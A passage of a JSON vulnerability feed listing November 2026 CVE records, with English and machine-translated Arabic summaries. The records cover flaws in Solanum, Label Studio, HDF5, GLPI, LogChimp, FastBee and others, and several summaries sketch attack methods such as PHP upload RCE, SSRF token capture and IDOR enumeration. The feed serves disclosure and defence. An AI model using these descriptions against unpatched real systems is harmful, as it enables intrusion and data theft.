بُعد."},"refs":[["https://github.com/solanum-ircd/solanum/pull/551","patch"],["https://github.com/solanum-ircd/solanum/commit/2ce64debf65e9710e9eea099ada93dbf6655b5ff","patch"],["https://www.vulncheck.com/advisories/solanum-before-commit-2ce64de-heap-buffer-overflow-via-join-and-sjoin","advisory"],["https://github.com/solanum-ircd/solanum/blob/2ea1382e4262b212a91034258c466f0f6754cd61/modules/core/m_join.c#L507","ref"],["https://github.com/solanum-ircd/solanum/blob/2ea1382e4262b212a91034258c466f0f6754cd61/ircd/channel.c#L371-L385","ref"],["https://github.com/solanum-ircd/solanum","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"solanum-ircd-solanum"},{"id":"CVE-2026-121603","cvss":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-120","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T16:26:54Z","product":"solanum-ircd solanum","affected":[],"title":{"en":"Solanum before commit 2ea1382 Buffer Overflow via Server-to-Server KILL Handler","ar":"Solanum قبل الالتزام 2ea1382 مصاب بثغرة فيضان المخزن المؤقت عبر معالج KILL من خادم إلى خادم"},"summary":{"en":"Solanum before commit 2ea1382 contains a buffer overflow vulnerability in ms_kill() that allows malicious linked servers to corrupt memory by sending an overlong kill reason. Attackers controlling a rogue or compromised peer server can send a reason exceeding KILLLEN that overflows a static 512-byte buffer, crashing the ircd or potentially achieving remote code execution.","ar":"يحتوي Solanum قبل الالتزام 2ea1382 على ثغرة فيضان المخزن المؤقت في ms_kill() والتي تتيح للخوادم المرتبطة الخبيثة إفساد الذاكرة عن طريق إرسال سبب إنهاء (kill) طويل بشكل مفرط. يمكن للمهاجمين الذين يسيطرون على خادم نظير خبيث أو مخترق إرسال سبب يتجاوز KILLLEN والذي يفيض مخزنًا مؤقتًا ثابتًا بحجم 512 بايت، مما يتسبب في تعطل ircd أو ربما تحقيق تنفيذ أوامر عن بُعد."},"refs":[["https://github.com/solanum-ircd/solanum/pull/550","patch"],["https://github.com/solanum-ircd/solanum/commit/2ea1382e4262b212a91034258c466f0f6754cd61","patch"],["https://www.vulncheck.com/advisories/solanum-before-commit-2ea1382-buffer-overflow-via-server-to-server-kill-handler","advisory"],["https://github.com/solanum-ircd/solanum/blob/7bc7e34c04711247b932666e19ae900cba884540/modules/core/m_kill.c#L277","ref"],["https://github.com/solanum-ircd/solanum","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"solanum-ircd-solanum"},{"id":"CVE-2026-65168","cvss":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-122","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T16:17:36Z","product":"NVIDIA Slurm","affected":[],"title":{"en":"NVIDIA Slurm contains an attacker-controlled heap-based buffer overflow in the slurmstepd socket handling code.","ar":"يحتوي NVIDIA Slurm على ثغرة فيضان المخزن المؤقت القائم على الذاكرة الديناميكية (heap-based buffer overflow) يتحكم بها المهاجم في تعليمة معالجة المقابس لـ slurmstepd."},"summary":{"en":"NVIDIA Slurm contains an attacker-controlled heap-based buffer overflow in the slurmstepd socket handling code.","ar":"يحتوي NVIDIA Slurm على ثغرة فيضان المخزن المؤقت القائم على الذاكرة الديناميكية (heap-based buffer overflow) يتحكم بها المهاجم في تعليمة معالجة المقابس لـ slurmstepd."},"refs":[["https://nvd.nist.gov/vuln/detail/CVE-2026-65168","ref"],["https://www.cve.org/CVERecord?id=CVE-2026-65168","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"nvidia-slurm"},{"id":"CVE-2026-121561","cvss":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","cwe":"CWE-918","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T16:17:28Z","product":"HumanSignal label-studio","affected":[["0 – <1.23.2","1.23.2"],["0 – <2.1.2","2.1.2"]],"title":{"en":"Label Studio before 1.23.2 SSRF and Token Disclosure via Image Export Downloads","ar":"ثغرة تزوير الطلبات من جانب الخادم (SSRF) والكشف عن الرموز المميزة عبر تنزيلات تصدير الصور في Label Studio للإصدارات الأقدم من 1.23.2"},"summary":{"en":"Label Studio before 1.23.2 (label-studio-sdk before 2.1.2) contains a server-side request forgery vulnerability that allows authenticated users to read internal URLs through image-bearing export formats. Attackers can import tasks with data.image pointing at internal services, export as YOLO or COCO with images to read responses, and spoof Host to capture the organization owner's API token.","ar":"يحتوي Label Studio للإصدارات الأقدم من 1.23.2 (و label-studio-sdk للإصدارات الأقدم من 2.1.2) على ثغرة تزوير الطلبات من جانب الخادم تسمح للمستخدمين المصادق لهم بقراءة عناوين URL الداخلية من خلال تنسيقات التصدير التي تحمل صورًا. يمكن للمهاجمين استيراد مهام تحتوي على data.image تشير إلى خدمات داخلية، والتصدير بتنسيق YOLO أو COCO مع الصور قراءة الردود، وانتحال Host لالتقاط رمز API الخاص بمالك المؤسسة."},"refs":[["https://github.com/HumanSignal/label-studio-sdk/commit/c20c899aaaa302740dacd46a47e5774bb677561f","patch"],["https://github.com/HumanSignal/label-studio/commit/df96d79183156e556d91825d15fa7721f1145e1a","patch"],["https://github.com/HumanSignal/label-studio/security/advisories/GHSA-6437-7wc6-gmx5","advisory"],["https://www.vulncheck.com/advisories/label-studio-before-1.23.2-ssrf-and-token-disclosure-via-image-export-downloads","advisory"],["https://github.com/HumanSignal/label-studio-sdk/blob/2.1.1/src/label_studio_sdk/_extensions/label_studio_tools/core/utils/io.py#L299-L338","ref"],["https://github.com/HumanSignal/label-studio-sdk/blob/2.1.1/src/label_studio_sdk/_extensions/label_studio_tools/core/utils/io.py#L62-L71","ref"],["https://github.com/HumanSignal/label-studio/blob/1.23.1/label_studio/data_export/models.py#L160-L167","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"humansignal-label-studio"},{"id":"CVE-2026-120757","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T16:17:23Z","product":"Hdfgroup Hdf5","affected":[[" – 2.2.0",null]],"title":{"en":"Heap Buffer Over-read via Non-Terminated Link Data in H5L__extern_traverse","ar":"قراءة فائقة لمخزن الكومة المؤقت عبر بيانات ارتباط غير منتهية في H5L__extern_traverse"},"summary":{"en":"HDF5 through 2.2.0 contains a heap buffer over-read vulnerability in H5L__extern_traverse() in src/H5Lexternal.c, the default traversal callback for external links. The callback locates the target file name and object path within the link’s user data using strlen() without validating the buffer against its stored size (udata_size, which was marked unused). A crafted HDF5 file containing an external link whose data is not NULL-terminated, or is too short to hold both strings, causes strlen() to read past the end of the udata heap buffer, and the derived object path pointer may also point outside the buffer. The overrun is unbounded and continues until a zero byte is found. The flaw is triggered when the malicious link is traversed, for example when opening an object through it. An attacker who can get a user or application to access a crafted file can cause a denial of service, and adjacent heap contents may be incorporated into the external file name or object path the library attempts to open.","ar":"تحتوي مكتبة HDF5 حتى الإصدار 2.2.0 على ثغرة قراءة فائقة لمخزن الكومة المؤقت في الدالة H5L__extern_traverse() ضمن الملف src/H5Lexternal.c، وهي دالة رد النداء الافتراضية لاجتياز الارتباطات الخارجية. تحدد دالة رد النداء اسم ملف الهدف ومسار الكائن داخل بيانات مستخدم الارتباط باستخدام strlen() دون التحقق من صحة المخزن المؤقت مقابل حجمه المخزن (udata_size، والذي تم تصنيفه كغير مستخدم). يتسبب ملف HDF5 مصمم بعناية يحتوي على ارتباط خارجي بياناته غير منتهية بحرف صفري، أو قصيرة جداً بحيث لا تتسع لكلا النصين، في قراءة strlen() لما بعد نهاية مخزن الكومة المؤقت udata، وقد يشير مؤشر مسار الكائن المشتق أيضاً إلى خارج المخزن المؤقت. التجاوز غير محدود ويستمر حتى يتم العثور على بايت صفري. يتم تحفيز الخلل عند اجتياز الارتباط الخبيث، على سبيل المثال عند فتح كائن من خلاله. يمكن لمهاجم قادر على دفع مستخدم أو تطبيق للوصول إلى ملف مصمم بعناية التسبب في حجب الخدمة، وقد يتم دمج محتويات الكومة المجاورة في اسم الملف الخارجي أو مسار الكائن الذي تحاول المكتبة فتحه."},"refs":[["https://github.com/HDFGroup/hdf5/pull/6708","patch"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hdfgroup-hdf5"},{"id":"CVE-2026-119215","cvss":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-639","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T15:46:32Z","product":"team-alembic ash_authentication","affected":[["5.0.0-rc.0 – <5.0.0-rc.16","5.0.0-rc.16"]],"title":{"en":"AshAuthentication TOTP setup lets a user install their own authenticator secret on another user's account","ar":"إعداد AshAuthentication TOTP يسمح للمستخدم بتثبيت سر المصادقة الخاص به على حساب مستخدم آخر"},"summary":{"en":"Authorization Bypass Through User-Controlled Key vulnerability in team-alembic ash_authentication allows a user with an account to install a TOTP secret they control on another user's account, and then sign in as that user or hold their second factor. AshAuthentication.Strategy.Totp.ConfirmSetupChange verified a setup token but did not check that it was issued to the record being confirmed, so an attacker's own pending secret could be confirmed onto another user's record. The TOTP setup changes, ConfirmSetupChange, GeneratePendingSetupChange and GenerateSecretChange, also marked their changesets as AshAuthentication interactions, which the standard AshAuthenticationInteraction policy bypass lets through. A policy limiting setup and confirm_setup to the actor's own record therefore never ran when an application exposed those actions by record key, and a direct setup call on another user's record returned that user's pending secret and setup token. This issue affects ash_authentication: from 5.0.0-rc.0 before 5.0.0-rc.16.","ar":"توجد ثغرة تجاوز التفويض من خلال مفتاح يتحكم فيه المستخدم في team-alembic ash_authentication والتي تسمح لمهاجم يملك حسابًا مصادقًا عليه بتثبيت سر TOTP يتحكم فيه على حساب مستخدم آخر، ومن ثم تسجيل الدخول بصفته هذا المستخدم أو الاحتفاظ بعامل المصادقة الثاني الخاص به. تحقق AshAuthentication.Strategy.Totp.ConfirmSetupChange من رمز الإعداد ولكنه لم يتحقق من أنه صادر للسجل المراد تأكيده، لذا يمكن تأكيد السر المعلق الخاص بالمهاجم على سجل مستخدم آخر. كما قامت تغييرات إعداد TOTP، و ConfirmSetupChange، و GeneratePendingSetupChange، و GenerateSecretChange بتحديد مجموعات التغييرات الخاص بها تفاعلات AshAuthentication، والتي تسمح سياسة تفاعل AshAuthentication القياسية بالمرور عبرها. ونتيجة لذلك، فإن السياسة التي تقيد الإعداد و confirm_setup على السجل الخاص بالفاعل لم تعمل أبداً عندما كشف التطبيق عن تلك الإجراءات بواسطة مفتاح السجل، كما أن استدعاء الإعداد المباشر على سجل مستخدم آخر أدى إلى إرجاع السر المعلق ورمز الإعداد الخاص بهذا المستخدم. تؤثر هذه المشكلة على ash_authentication: من الإصدار 5.0.0-rc.0 قبل الإصدار 5.0.0-rc.16."},"refs":[["https://github.com/team-alembic/ash_authentication/commit/4058be0f519c2e9b0d2266e90f9c7d8547d54574","patch"],["https://github.com/team-alembic/ash_authentication/security/advisories/GHSA-gx67-694c-655c","advisory"],["https://cna.erlef.org/cves/CVE-2026-119215.html","ref"],["https://osv.dev/vulnerability/EEF-CVE-2026-119215","ref"],["https://github.com/team-alembic/ash_authentication/commit/6e7a880698614887527a87df206b4eb0c0fbd8c1","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"team-alembic-ash-authentication"},{"id":"CVE-2026-121260","cvss":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T15:30:19Z","product":"Ziroom ZHOME A0101","affected":[],"title":{"en":"Ziroom ZHOME A0101 Lua zrUsb.lua loadstring code injection","ar":"ثغرة حقن شيفرة في Ziroom ZHOME A0101 Lua zrUsb.lua عبر loadstring"},"summary":{"en":"A flaw has been found in Ziroom ZHOME A0101 1.0.1.0 Build 202004151405. This issue affects the function loadstring of the file usr/lib/lua/luci/controller/api/zrUsb.lua of the component Lua Handler. This manipulation causes code injection. Remote exploitation of the attack is possible. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم اكتشاف خلل في Ziroom ZHOME A0101 الإصدار 1.0.1.0 Build 202004151405. تؤثر هذه المشكلة على الدالة loadstring في الملف usr/lib/lua/luci/controller/api/zrUsb.lua التابع لمكون Lua Handler. يتسبب هذا التلاعب في حقن شيفرة. يُحتمل الاستغلال عن بُعد للهجوم. تم نشر الاستغلال وقد يتم استخدامه. تم التواصل مع المانحة مبكرًا بشأن هذا الكشف ولكنها لم ترد بأي شكل."},"refs":[["https://vuldb.com/cve/CVE-2026-121260","advisory"],["https://vuldb.com/submit/1018328","advisory"],["https://vuldb.com/vuln/430226","ref"],["https://vuldb.com/vuln/430226/cti","ref"],["https://github.com/Wlz1112/ZHOME_A0101/blob/main/zrusb_loadstring_code_injection.md","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"ziroom-zhome-a0101"},{"id":"CVE-2026-118487","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-770","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T15:27:18Z","product":"Eclipse Foundation Eclipse Vert.x","affected":[["4.0.0 – 4.5.35",null],["5.0.0 – 5.2.2",null]],"title":{"en":"Heap exhaustion via unbounded line accumulation in Vert.x STOMP FrameParser","ar":"استنفاد الذاكرة المؤقتة للكومة (Heap) عبر تجميع الأسطر غير المحدود في Vert.x STOMP FrameParser"},"summary":{"en":"In Eclipse Vert.x versions [4.0.0, 4.5.35] or [5.0.0, 5.2.2], the `FrameParser` in vertx-stomp creates a `RecordParser` without setting `maxRecordSize`, so any peer that streams bytes continuously without a newline character causes the parser to accumulate data indefinitely. Both the STOMP server and the STOMP client are affected: a malicious server can exploit this against a connecting client, and a malicious client can exploit this against a server before or after authentication. Sustained byte streaming exhausts JVM heap memory, crashing the affected process and causing a complete denial of service.","ar":"في إصدارات Eclipse Vert.x [4.0.0, 4.5.35] أو [5.0.0, 5.2.2]، يقوم المحلل اللغوي `FrameParser` في vertx-stomp بإنشاء `RecordParser` دون تعيين `maxRecordSize`، لذا فإن أي نظير يقوم ببث البايتات بشكل مستمر دون حرف سطر جديد يتسبب في قيام المحلل بتجميع البيانات إلى أجل غير مسمى. يتأثر كل من خادم STOMP ووسيط STOMP: يمكن لخادم خبيث استغلال هذا ضد عميل متصل، ويمكن لعميل خبيث استغلال هذا ضد خادم قبل أو بعد المصادقة. يؤدي بث البايتات المستمر إلى استنفاد ذاكرة الكومة الخاصة بـ JVM، مما يؤدي إلى تعطل العملية المتأثرة وتسبب حجب الخدمة بشكل كامل."},"refs":[["https://github.com/vert-x3/vertx-stomp/security/advisories/GHSA-cchp-hff9-j7q7","ref"],["https://gitlab.eclipse.org/security/cve-assignment/-/work_items/521","ref"],["https://gitlab.eclipse.org/security/vulnerability-reports/-/work_items/864","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"eclipse-foundation-eclipse-vert-x"},{"id":"CVE-2026-119741","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-407","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T15:26:27Z","product":"RsyncProject rsync","affected":[["0 – 3.5.1",null],[" – 3.5.1",null]],"title":{"en":"rsync through 3.5.1 Denial of Service via hash_search() Checksum Collisions","ar":"ثغرة حجب الخدمة في rsync حتى الإصدار 3.5.1 عبر تصادمات المجموع الاختياري في hash_search()"},"summary":{"en":"rsync through 3.5.1 contains a denial of service vulnerability in the delta-transfer sender's hash_search() in match.c that allows malicious receivers to trigger unbounded strong-checksum work at consecutive offsets. Unauthenticated attackers pulling from a public daemon module can supply weak checksums colliding with consecutive rolling windows plus non-matching strong checksums, exhausting sender CPU across concurrent connections.","ar":"يحتوي rsync حتى الإصدار 3.5.1 على ثغرة حجب الخدمة في الدالة hash_search() الخاصة بمرسل نقل الدلتا في الملف match.c والتي تسمح للمستقبلين الخبيثين بتشغيل عمليات مجموع اختياري قوية غير محدودة عند إزاحات متتالية. يمكن للمهاجمين دون مصادقة الذين يسحبون من وحدة خادم عامة توفير مجاميع اختيارية ضعيفة تتصادم مع نوافذ التدحرج المتتالية بالإضافة إلى مجاميع اختيارية قوية غير متطابقة، مما يستنفد وحدة المعالجة المركزية للمرسل عبر الاتصالات المتزامنة."},"refs":[["https://github.com/RsyncProject/rsync/pull/1132","patch"],["https://github.com/RsyncProject/rsync/commit/a7404a9a633cff28ee1602f328b9c3fa69cdbd04","patch"],["https://github.com/RsyncProject/rsync/blob/a7404a9a633cff28ee1602f328b9c3fa69cdbd04/testsuite/hashsearch-collision-skip_test.py","patch"],["https://www.vulncheck.com/advisories/rsync-through-3.5.1-denial-of-service-via-hash-search-checksum-collisions","advisory"],["https://github.com/RsyncProject/rsync","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"rsyncproject-rsync"},{"id":"CVE-2026-106991","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T15:17:19Z","product":"Unknown product","affected":[],"title":{"en":"hustoj >=24.09.10 and <=26.08.19 is vulnerable to Incorrect Access Control.","ar":"نظام hustoj الإصدارات >=24.09.10 و<=26.08.19 مصابة بثغرة في التحكم غير السليم في الوصول."},"summary":{"en":"hustoj >=24.09.10 and <=26.08.19 is vulnerable to Incorrect Access Control. Any registered user can delete, lock, or sticky any forum thread (including admins' announcements) via threadadmin.php. The thread branch only verifies login, never authorship or admin rights.","ar":"نظام hustoj الإصدارات >=24.09.10 و<=26.08.19 مصابة بثغرة في التحكم غير السليم في الوصول. يمكن لأي مستخدم مسجل حذف أو قفل أو تثبيت أي موضوع في المنتدى (بما في ذلك إعلانات المشرفين) عبر الملف threadadmin.php. يتحقق فرع المواضيع من تسجيل الدخول فقط، دون التحقق من ملكية المحتوى أو صلاحيات المشرف."},"refs":[["https://github.com/MX-Qulin/CVE-2026-106991","ref"],["https://github.com/zhblue/hustoj","ref"],["https://github.com/zhblue/hustoj/pull/1192","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-73328","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-434","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T15:17:18Z","product":"volmarg personal-management-system","affected":[["0 – 2.1.0",null]],"title":{"en":"Volmarg Personal Management System through 2.1.0 Unrestricted File Upload RCE via /upload/send/","ar":"نظام Volmarg Personal Management System حتى الإصدار 2.1.0 يعاني من ثغرة رفع ملفات غير مقيدة تؤدي إلى تنفيذ أوامر عن بُعد عبر \\/upload\\/send\\/"},"summary":{"en":"Volmarg Personal Management System through 2.1.0 contains an unrestricted file upload vulnerability that allows authenticated users to upload PHP files via the /upload/send/ endpoint. Attackers can submit base64 fileContent with a .php fileName into the web root and request it to execute code as the web server user.","ar":"نظام Volmarg Personal Management System حتى الإصدار 2.1.0 يحتوي على ثغرة رفع ملفات غير مقيدة تسمح للمستخدمين الذين يملكون حسابًا مصادقًا عليه برفع ملفات PHP عبر نقطة النهاية \\/upload\\/send\\/. يمكن للمهاجمين إرسال محتوى ملف بصيغة base64 مع اسم ملف بصيغة .php في المجلد الجذر للويب وطلب تنفيذه لتشغيل الشيفرة بصلاحيات مستخدم خادم الويب."},"refs":[["https://www.vulncheck.com/advisories/volmarg-personal-management-system-through-2.1.0-unrestricted-file-upload-rce-via-upload-send","advisory"],["https://github.com/Volmarg/personal-management-system/issues/167","ref"],["https://github.com/Volmarg/personal-management-system","ref"],["https://github.com/Volmarg/personal-management-system/blob/v2.1.0/src/Services/Files/Upload/FileUploadConfigurator.php#L117-L129","ref"],["https://github.com/Volmarg/personal-management-system/blob/v2.1.0/src/Services/Files/Upload/FileUploadValidator.php#L57-L81","ref"],["https://github.com/Volmarg/personal-management-system/blob/v2.1.0/src/Action/File/UploadedFileAction.php#L56-L83","ref"],["https://github.com/Volmarg/personal-management-system/blob/v2.1.0/src/Services/Files/Upload/FileUploadService.php#L57-L67","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"volmarg-personal-management-system"},{"id":"CVE-2026-121560","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N","cwe":"CWE-639","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T15:17:16Z","product":"logchimp logchimp","affected":[["0.9.0-alpha.1 – <0.9.3","0.9.3"]],"title":{"en":"LogChimp before 0.9.3 Authorization Bypass via PATCH /api/v1/posts","ar":"نظام LogChimp قبل الإصدار 0.9.3 يحتوي على تجاوز لتفويض الصلاحيات عبر الطلب PATCH \\/api\\/v1\\/posts"},"summary":{"en":"LogChimp 0.9.0-alpha.1 before 0.9.3 contains an authorization bypass vulnerability that allows authenticated post authors to modify any other post by supplying mismatched postId and id body parameters. Attackers can set postId to their own post and id to an enumerated victim post UUID to overwrite its title, slug, content, boardId and roadmap_id.","ar":"نظام LogChimp من الإصدار 0.9.0-alpha.1 قبل الإصدار 0.9.3 يحتوي على ثغرة تجاوز تفويض الصلاحيات التي تسمح لمؤلفي المنشورات المصادق عليهم بتعديل أي منشور آخر من خلال توفير معاملات جسم الطلب postId و id غير المتطابقة. يمكن للمهاجمين تعيين postId إلى منشورهم الخاص وid إلى معرف فريد عالمي (UUID) لمنشور الضحية المستهدف للكتابة فوق عنوانه، ورابطه، ومحتواه، ومعرف اللوحة boardId، ومعرف roadmap_id."},"refs":[["https://github.com/logchimp/logchimp/commit/a78b69af342908472ad400285187e43729295a7c","patch"],["https://www.vulncheck.com/advisories/logchimp-before-0.9.3-authorization-bypass-via-patch-api-v1-posts","advisory"],["https://github.com/logchimp/logchimp","ref"],["https://github.com/logchimp/logchimp/blob/v0.9.2/packages/server/src/controllers/post/updatePost.ts#L67","ref"],["https://github.com/logchimp/logchimp/blob/v0.9.2/packages/server/src/middlewares/postExists.ts#L72-L77","ref"],["https://github.com/logchimp/logchimp/releases/tag/v0.9.3","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"logchimp"},{"id":"CVE-2026-121559","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-269","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T15:17:15Z","product":"glpi-project GLPI","affected":[["10.0.0 – <10.0.28","10.0.28"],["11.0.0 – <11.0.10","11.0.10"]],"title":{"en":"GLPI 10.0.0 before 10.0.28 and 11.0.0 before 11.0.10 Privilege Escalation via User Cloning","ar":"نظام GLPI الإصدار 10.0.0 قبل 10.0.28 والإصدار 11.0.0 قبل 11.0.10 يعاني من تصعيد الصلاحيات عبر استنساخ المستخدمين"},"summary":{"en":"GLPI 10.0.0 before 10.0.28 and 11.0.0 before 11.0.10 contains a privilege escalation vulnerability that allows authenticated users to obtain elevated profiles by cloning accounts. A user with the Technician profile can clone a Super-Admin account with a new login and password, since User::getCloneRelations() copies every Profile_User and Group_User assignment without permission checks, yielding an attacker-controlled Super-Admin account.","ar":"نظام GLPI 10.0.0 قبل 10.0.28 و11.0.0 قبل 11.0.10 يحتوي على ثغرة تصعيد الصلاحيات التي تسمح للمستخدمين المصادق عليهم بالحصول على ملفات تعريف مرتفعة الصلاحيات من خلال استنساخ الحسابات. يمكن لمستخدم يحمل ملف تعريف فني Technician استنساخ حساب مشرف عام Super-Admin باسم تسجيل دخول وكلمة مرور جديدين، حيث تقوم الدالة User::getCloneRelations() بتنسيق كل تعيين لملف تعريف Profile_User ومجموعات Group_User دون فحوصات الأذونات، مما ينتج عنه حساب مشرف عام يتحكم به المهاجم."},"refs":[["https://github.com/glpi-project/glpi/commit/10a827c8c1868a0a65ab977d30878ff16547d9a7","patch"],["https://github.com/glpi-project/glpi/commit/d30faa501e8b549ae507615b05e7d99dacfe5d98","patch"],["https://github.com/glpi-project/glpi/security/advisories/GHSA-c46f-4v9j-5gpc","advisory"],["https://www.vulncheck.com/advisories/glpi-10.0.0-before-10.0.28-and-11.0.0-before-11.0.10-privilege-escalation-via-user-cloning","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"glpi-project-glpi"},{"id":"CVE-2026-121557","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T15:17:14Z","product":"wppconnect wppconnect-server","affected":[["0 – 2.10.74",null]],"title":{"en":"WPPConnect Server through 2.10.74 Missing Authentication via /api/:session/chatwoot","ar":"خادم WPPConnect Server حتى الإصدار 2.10.74 يعاني من غياب المصادقة عبر المسار \\/api\\/:session\\/chatwoot"},"summary":{"en":"WPPConnect Server through 2.10.74 contains a missing authentication vulnerability that allows unauthenticated attackers to send WhatsApp messages by calling the Chatwoot webhook route without verifyToken middleware. Attackers who know or guess a connected session name can POST outgoing message bodies to send arbitrary texts or files from that account to any number.","ar":"خادم WPPConnect Server حتى الإصدار 2.10.74 يحتوي على ثغرة غياب المصادقة التي تسمح للمهاجمين دون مصادقة بإرسال رسائل WhatsApp عن طريق استدعاء مسار خطأ ويب Chatwoot دون وسيط التحقق verifyToken. يمكن للمهاجمين الذين يعرفون أو يخمنون اسم جلسة متصلة إرسال أجسام رسائل صادرة بطلب POST لإرسال نصوص أو ملفات عشوائية من ذلك الحساب إلى أي رقم."},"refs":[["https://github.com/wppconnect-team/wppconnect-server/pull/2702","patch"],["https://www.vulncheck.com/advisories/wppconnect-server-through-2.10.74-missing-authentication-via-api-session-chatwoot","advisory"],["https://github.com/wppconnect-team/wppconnect-server/issues/2701","ref"],["https://github.com/wppconnect-team/wppconnect-server","ref"],["https://github.com/wppconnect-team/wppconnect-server/blob/v2.10.74/src/routes/index.ts#L963","ref"],["https://github.com/wppconnect-team/wppconnect-server/blob/v2.10.74/src/controller/deviceController.ts#L2230-L2324","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wppconnect-server"},{"id":"CVE-2026-121556","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","cwe":"CWE-639","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T15:17:13Z","product":"beecue FastBee","affected":[["0 – 2.1.0",null]],"title":{"en":"FastBee through 2.1.0 IDOR via /iot/product By-ID Endpoints","ar":"نظام FastBee حتى الإصدار 2.1.0 يعاني من ثغرة مرجع الكائن المباشر غير الآمن (IDOR) عبر نقاط النهاية المعرّفة بـ \\/iot\\/product"},"summary":{"en":"FastBee through 2.1.0 contains an insecure direct object reference vulnerability in ProductController that allows authenticated tenant users to access other tenants' products by supplying their product IDs. Attackers can enumerate sequential product IDs to read MQTT account, password, and secret values, overwrite product configuration including tenant_id, or delete products with cascading rows.","ar":"نظام FastBee حتى الإصدار 2.1.0 يحتوي على ثغرة مرجع الكائن المباشر غير الآمن في ProductController والتي تسمح لمستخدمي المستأجرين المصادق عليهم بالوصول إلى منتجات المستأجرين الآخرين من خلال توفير معرفات منتجاتهم. يمكن للمهاجمين تعداد معرفات المنتجات التسلسلية لقراءة حساب MQTT، وكلمة المرور، وقيم السر، أو الكتابة فوق تكوين المنتج متضمنة tenant_id، أو حذف المنتجات مع الصفوف المرتبطة 